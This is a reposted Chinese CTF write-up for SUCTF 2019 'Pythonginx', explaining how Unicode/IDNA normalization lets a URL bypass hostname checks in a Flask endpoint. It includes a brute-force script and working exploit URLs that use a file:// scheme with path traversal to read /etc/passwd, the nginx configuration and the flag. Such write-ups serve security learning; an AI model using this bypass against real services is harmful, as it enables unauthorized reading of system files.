[SUCTF 2019]Pythonginx


這道題用的是blackhat議題之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization,blackhat這個議題的PPT鏈接如下:

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

 

 題目給了我們源代碼,如下:

@app.route('/getUrl', methods=['GET', 'POST']) 
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

從代碼上看,我們需要提交一個url,用來讀取服務器端任意文件

簡單來說,需要逃脫前兩個if,成功進入第三個if。

而三個if中判斷條件都是相同的,不過在此之前的host構造卻是不同的,這也是blackhat該議題中想要說明的一點

當URL 中出現一些特殊字符的時候,輸出的結果可能不在預期

接着我們只需要按照getUrl函數寫出爆破腳本即可得到我們能夠逃逸的構造語句了

腳本是偷得

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass

def getUrl(url):
    url=url
    host=parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts=list(urlsplit(url))
    host=parts[1]
    if host == 'suctf.cc':
        return False
    newhost=[]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1]='.'.join(newhost)
    finalUrl=urlunsplit(parts).split(' ')[0]
    host=parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False


if __name__=='__main__':
    get_unicode()

最后輸出的結果有:

 

 我們只需要用其中任意一個去讀取文件就可以了

比如:http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/../../../../../etc/passwd

先讀一下etc/passwd

 

 題目提示我們是nginx,所以我們去讀取nginx的配置文件

這里讀的路徑是 /usr/local/nginx/conf/nginx.conf

http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/local/nginx/conf/nginx.conf

看到有:

 

於是訪問http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/fffffflag

得到flag

 

 

貼上另外部分nginx的配置文件所在位置

配置文件存放目錄:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理腳本:/usr/lib64/systemd/system/nginx.service
模塊:/usr/lisb64/nginx/modules
應用程序:/usr/sbin/nginx
程序默認存放位置:/usr/share/nginx/html
日志默認存放位置:/var/log/nginx

  

參考的博客鏈接:

https://xi4or0uji.github.io/2019/08/25/2019-SUCTF-wp/#Pythonginx

https://www.xmsec.cc/suctf19-wp/

https://xz.aliyun.com/t/6042#toc-24


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM